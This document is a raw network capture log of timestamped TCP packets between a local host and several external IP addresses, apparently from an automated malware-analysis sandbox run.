Oct 29, 2024 05:02:39.729793072 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.729816914 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.729825020 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.729849100 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.729856968 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.729883909 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.729892015 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.729918003 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.729931116 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.729959965 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.729970932 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.730000973 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.730015039 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.730043888 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.730051994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.730082035 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.730098009 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.730113983 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.730123997 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.730160952 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.732750893 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.732781887 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.732811928 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.732820988 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.732846975 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.732887030 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.732902050 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.732934952 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.732944012 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.732969999 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.732980967 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733022928 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733059883 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733067036 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733093977 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733129025 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733149052 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733181953 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733196020 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733223915 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733239889 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733279943 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733293056 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733329058 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733341932 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733361959 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733369112 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733397961 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733436108 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733454943 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733469009 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733521938 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733545065 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733556032 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733568907 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733597040 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733597040 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733628988 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.733637094 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.733675003 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.769066095 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.769102097 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.769135952 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.769169092 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.769201994 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.769202948 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.769202948 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.769222975 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.769244909 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770162106 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770198107 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770207882 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770251036 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770284891 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770318985 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770335913 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770353079 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770358086 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770389080 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770421982 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770427942 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770457983 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770498991 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770531893 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770535946 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770565987 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770566940 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770602942 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770612955 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770647049 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770649910 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770682096 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770683050 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770719051 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770731926 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770766020 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770767927 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770802975 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770865917 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770894051 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770901918 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770927906 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:39.770927906 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:39.770963907 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:40.657988071 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:40.658544064 CET	49825	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:40.664011955 CET	80	49825	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:40.664354086 CET	80	49778	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:40.664437056 CET	49778	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:40.664437056 CET	49825	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:40.664657116 CET	49825	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:40.669929981 CET	80	49825	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:40.723409891 CET	49799	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:41.579227924 CET	80	49825	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:41.584284067 CET	49825	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:41.740221024 CET	49825	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:41.740586042 CET	49831	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:41.745999098 CET	80	49825	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:41.746052027 CET	80	49831	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:41.746058941 CET	49825	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:41.746145010 CET	49831	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:41.746340990 CET	49831	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:41.751631021 CET	80	49831	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:41.997663021 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:41.997684956 CET	443	49835	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:41.997776985 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:41.998919964 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:41.998930931 CET	443	49835	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:42.623965025 CET	443	49835	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:42.624037981 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:42.625679016 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:42.625684023 CET	443	49835	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:42.626061916 CET	443	49835	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:42.655232906 CET	80	49831	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:42.655304909 CET	49831	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:42.664292097 CET	49831	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:42.669629097 CET	80	49831	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:42.673125029 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:42.695466995 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:42.695550919 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:42.695645094 CET	443	49835	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:42.951194048 CET	80	49831	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:42.951271057 CET	49831	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:43.064424038 CET	49831	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:43.064747095 CET	49841	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:43.070141077 CET	80	49841	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:43.070230007 CET	49841	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:43.070409060 CET	49841	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:43.070560932 CET	80	49831	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:43.070627928 CET	49831	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:43.075941086 CET	80	49841	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:43.168255091 CET	443	49835	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:43.168478012 CET	443	49835	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:43.168534994 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:43.170017004 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:43.170022011 CET	443	49835	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:43.170042038 CET	49835	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:43.170044899 CET	443	49835	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:43.264481068 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:43.264506102 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:43.264578104 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:43.264825106 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:43.264842987 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:43.887864113 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:43.887988091 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:43.889081001 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:43.889094114 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:43.889503956 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:43.893467903 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:43.893503904 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:43.893552065 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:43.969646931 CET	80	49841	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:43.969722033 CET	49841	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:43.972583055 CET	49841	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:43.977920055 CET	80	49841	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:44.253540039 CET	80	49841	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:44.253650904 CET	49841	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:44.365431070 CET	49841	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:44.366522074 CET	49850	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:44.371305943 CET	80	49841	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:44.371392965 CET	49841	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:44.371805906 CET	80	49850	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:44.372292995 CET	49850	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:44.373456001 CET	49850	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:44.378731966 CET	80	49850	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:44.394120932 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.394265890 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.394319057 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.394349098 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.394471884 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.394517899 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.394527912 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.394638062 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.394685984 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.394694090 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.394784927 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.394851923 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.394859076 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.395006895 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.395061016 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.395068884 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.438760042 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.511519909 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.511698008 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.511766911 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.511782885 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.511866093 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.511921883 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.511931896 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.512064934 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.516262054 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.516304970 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.516323090 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.516335964 CET	49844	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.516341925 CET	443	49844	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.669517994 CET	49854	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.669553995 CET	443	49854	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:44.669737101 CET	49854	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.670032978 CET	49854	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:44.670049906 CET	443	49854	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:45.304322958 CET	443	49854	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:45.304405928 CET	49854	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:45.306027889 CET	49854	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:45.306042910 CET	443	49854	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:45.306437016 CET	443	49854	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:45.307650089 CET	49854	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:45.307848930 CET	49854	443	192.168.2.5	188.114.97.3
Oct 29, 2024 05:02:45.307889938 CET	443	49854	188.114.97.3	192.168.2.5
Oct 29, 2024 05:02:45.310525894 CET	80	49850	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:45.310587883 CET	49850	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:45.311197996 CET	49850	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:45.318509102 CET	80	49850	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:45.606961966 CET	80	49850	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:45.607017994 CET	49850	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:45.720726013 CET	49850	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:45.721070051 CET	49861	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:45.726452112 CET	80	49850	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:45.726464987 CET	80	49861	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:45.726548910 CET	49850	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:45.726588011 CET	49861	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:45.726980925 CET	49861	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:45.732310057 CET	80	49861	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:46.620923996 CET	80	49861	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:46.620982885 CET	49861	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:46.621617079 CET	49861	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:46.626933098 CET	80	49861	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:46.900656939 CET	80	49861	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:46.900775909 CET	49861	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:47.002043962 CET	49861	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:47.002316952 CET	49868	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:47.007627964 CET	80	49868	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:47.007688046 CET	49868	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:47.007817030 CET	49868	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:47.007882118 CET	80	49861	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:47.007930994 CET	49861	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:47.013183117 CET	80	49868	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:47.906253099 CET	80	49868	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:47.906378031 CET	49868	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:47.907092094 CET	49868	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:47.912357092 CET	80	49868	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:48.188355923 CET	80	49868	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:48.188410044 CET	49868	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:48.298727989 CET	49868	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:48.299120903 CET	49876	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:48.304332972 CET	80	49868	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:48.304383993 CET	49868	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:48.304486990 CET	80	49876	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:48.304555893 CET	49876	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:48.304698944 CET	49876	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:48.310013056 CET	80	49876	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:49.417378902 CET	80	49876	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:49.417455912 CET	49876	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:49.418194056 CET	49876	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:49.423398972 CET	80	49876	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:49.708661079 CET	80	49876	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:49.708719015 CET	49876	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:49.816648006 CET	49876	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:49.816890001 CET	49885	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:49.822166920 CET	80	49885	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:49.822262049 CET	49885	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:49.822367907 CET	49885	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:49.822493076 CET	80	49876	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:49.822550058 CET	49876	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:49.827820063 CET	80	49885	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:50.733607054 CET	80	49885	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:50.733666897 CET	49885	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:50.737536907 CET	49885	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:50.743369102 CET	80	49885	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:51.024055958 CET	80	49885	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:51.024157047 CET	49885	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:51.437537909 CET	49885	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:51.438079119 CET	49893	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:51.443317890 CET	80	49885	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:51.443391085 CET	49885	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:51.443435907 CET	80	49893	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:51.443521976 CET	49893	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:51.464932919 CET	49893	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:51.470364094 CET	80	49893	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:52.382194042 CET	80	49893	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:52.384279966 CET	49893	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:52.384902954 CET	49893	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:52.390254974 CET	80	49893	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:52.679066896 CET	80	49893	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:52.679120064 CET	49893	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:52.783260107 CET	49893	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:52.783654928 CET	49904	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:52.789210081 CET	80	49893	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:52.789230108 CET	80	49904	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:52.789280891 CET	49893	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:52.789330006 CET	49904	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:52.789433002 CET	49904	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:52.794640064 CET	80	49904	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:53.706964970 CET	80	49904	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:53.707092047 CET	49904	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:54.075212002 CET	49904	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:54.080871105 CET	80	49904	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:54.183587074 CET	49910	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:54.189049006 CET	80	49910	185.215.113.206	192.168.2.5
Oct 29, 2024 05:02:54.189126015 CET	49910	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:54.189354897 CET	49910	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:54.194637060 CET	80	49910	185.215.113.206	192.168.2.5
Oct 29, 2024 05:02:54.366760969 CET	80	49904	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:54.368335962 CET	49904	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:54.486368895 CET	49904	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:54.486552954 CET	49915	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:54.491935968 CET	80	49915	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:54.492296934 CET	80	49904	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:54.492311001 CET	49915	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:54.492348909 CET	49904	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:54.492480993 CET	49915	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:54.497756004 CET	80	49915	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:55.087847948 CET	80	49910	185.215.113.206	192.168.2.5
Oct 29, 2024 05:02:55.087918997 CET	49910	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:55.090620995 CET	49910	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:55.095974922 CET	80	49910	185.215.113.206	192.168.2.5
Oct 29, 2024 05:02:55.372642040 CET	80	49910	185.215.113.206	192.168.2.5
Oct 29, 2024 05:02:55.372698069 CET	49910	80	192.168.2.5	185.215.113.206
Oct 29, 2024 05:02:55.394663095 CET	80	49915	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:55.394727945 CET	49915	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:55.395685911 CET	49915	80	192.168.2.5	185.215.113.16
